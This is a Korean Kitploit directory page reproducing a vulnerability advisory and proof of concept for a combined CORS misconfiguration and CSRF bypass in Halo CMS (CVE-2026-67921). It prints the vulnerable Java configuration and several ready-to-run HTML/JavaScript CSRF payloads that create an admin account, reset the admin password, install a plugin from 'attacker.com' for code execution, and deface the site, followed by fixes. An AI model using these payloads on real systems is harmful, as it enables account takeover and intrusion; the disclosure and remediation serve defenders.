Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
halo-cors-csrf-CVE-2026-67921 — Halo CMS에서 CORS 설정 오류와 CSRF 보호 우회를 결합하여 교차 사이트 요청 위조 공격으로 관리자 사용자 생성, 비밀번호 변경, 플러그인 설치, 콘텐츠 수정을 가능하게 하는 개념 증명입니다. | Kitploit
도구/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Halo CMS에서 CORS 설정 오류와 CSRF 보호 우회를 결합하여 교차 사이트 요청 위조 공격으로 관리자 사용자 생성, 비밀번호 변경, 플러그인 설치, 콘텐츠 수정을 가능하게 하는 개념 증명입니다.

저장소 보기
16일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-67921: Halo CMS CORS 오설정 + CSRF 보호 우회 결합 공격

요약

Halo CMS 2.25.4 이하 버전에는 두 가지 보안 오설정으로 인한 심각한 결합 공격 취약점이 존재합니다:

  1. CORS 오설정: CORS 정책이 credentials: true와 함께 *(모든 오리진)을 허용합니다.
  2. CSRF 보호 우회: 모든 API 엔드포인트(/api/**, /apis/**)가 CSRF 보호에서 제외됩니다.

이 두 가지가 결합되면, 공격자는 CORS가 강제하도록 설계된 Same-Origin Policy 보호를 우회하여 모든 오리진에서 Cross-Site Request Forgery 공격을 수행할 수 있습니다.

CVSS v3.1 점수: 9.3 (치명적)
CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (교차 사이트 요청 위조) + CWE-942 (허용적인 교차 도메인 정책) CVE ID: CVE-2026-67921


영향을 받는 버전

  • Halo CMS ≤ 2.25.4
  • CORS가 활성화되고 API 라우트에 대해 CSRF가 비활성화된 모든 버전

취약점 세부 정보

취약점 1: CORS 오설정

파일: application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← 모든 오리진
    configuration.setAllowCredentials(true);                // ← 쿠키 허용
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

영향: 모든 웹사이트가 사용자의 쿠키를 사용하여 Halo의 API에 인증된 요청을 보낼 수 있습니다.

취약점 2: CSRF 보호 우회

파일: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← API 라우트가 CSRF에서 제외됨!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

영향: 세션 쿠키로 인증된 경우에도 API 요청에 CSRF 토큰이 필요하지 않습니다.


공격 메커니즘

이 조합이 위험한 이유

보호 조치단독 적용 시결합 시
CORS *자격 증명 차단 (브라우저가 강제)자격 증명 허용!
CSRF 없음Same-Origin Policy가 보호CORS로 우회됨!
결과안전완전한 CSRF

공격 흐름

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  공격자가 evil.com에 악성 페이지 호스팅                       │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  피해자의 브라우저가 evil.com 방문                            │
│  → 폼이 Halo API로 자동 제출                                 │
│  → 브라우저가 세션 쿠키를 자동으로 포함                       │
│  → CORS: Origin * + credentials: true → 요청 허용!           │
│  → CSRF: /apis/** 제외 → 토큰 불필요!                        │
│  → 피해자의 권한으로 요청 성공                                │
└─────────────────────────────────────────────────────────────┘

악용 시나리오

시나리오 1: 관리자 사용자 생성

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

시나리오 2: 관리자 비밀번호 변경

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

시나리오 3: 악성 플러그인 설치 (RCE)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

시나리오 4: 사이트 콘텐츠 수정

root@kitploit:~
<html>
<body>
<script>
  // 사이트 제목 변경
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

개념 증명

기본 CSRF 테스트

csrf-test.html 생성:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>이 페이지는 로드 시 Halo 설정을 수정하려 시도합니다.</p>

<script>
// 사이트 제목을 수정하여 CSRF 테스트
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCCESS! CSRF attack worked.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Failed: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

검증 단계

  1. Halo에 로그인한 상태에서 브라우저로 csrf-test.html을 엽니다.
  2. 사이트 제목이 변경되었는지 확인합니다.
  3. 브라우저 콘솔에서 CORS 헤더를 확인합니다:
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

영향 분석

공격영향심각도
관리자 사용자 생성전체 시스템 장악치명적
관리자 비밀번호 변경계정 탈취치명적
악성 플러그인 설치원격 코드 실행치명적
콘텐츠 수정웹사이트 변조높음
데이터 삭제데이터 손실높음
데이터 탈취정보 공개높음

해결 방안

수정 1: CORS 오리진 제한

root@kitploit:~
// 와일드카드를 특정 오리진으로 교체
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

수정 2: API 라우트에 CSRF 활성화

root@kitploit:~
// CSRF 매처에서 API 제외 항목 제거
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

수정 3: Bearer 토큰 인증 사용

API 엔드포인트의 경우 CSRF에 취약한 세션 쿠키 대신 Bearer 토큰 인증을 사용하는 것이 좋습니다.


참고 자료

  • 공급업체: https://github.com/halo-dev/halo
  • CWE-352: https://cwe.mitre.org/data/definitions/352.html
  • CWE-942: https://cwe.mitre.org/data/definitions/942.html

타임라인

  • 발견 날짜: 2026-07-10
도구 다운로드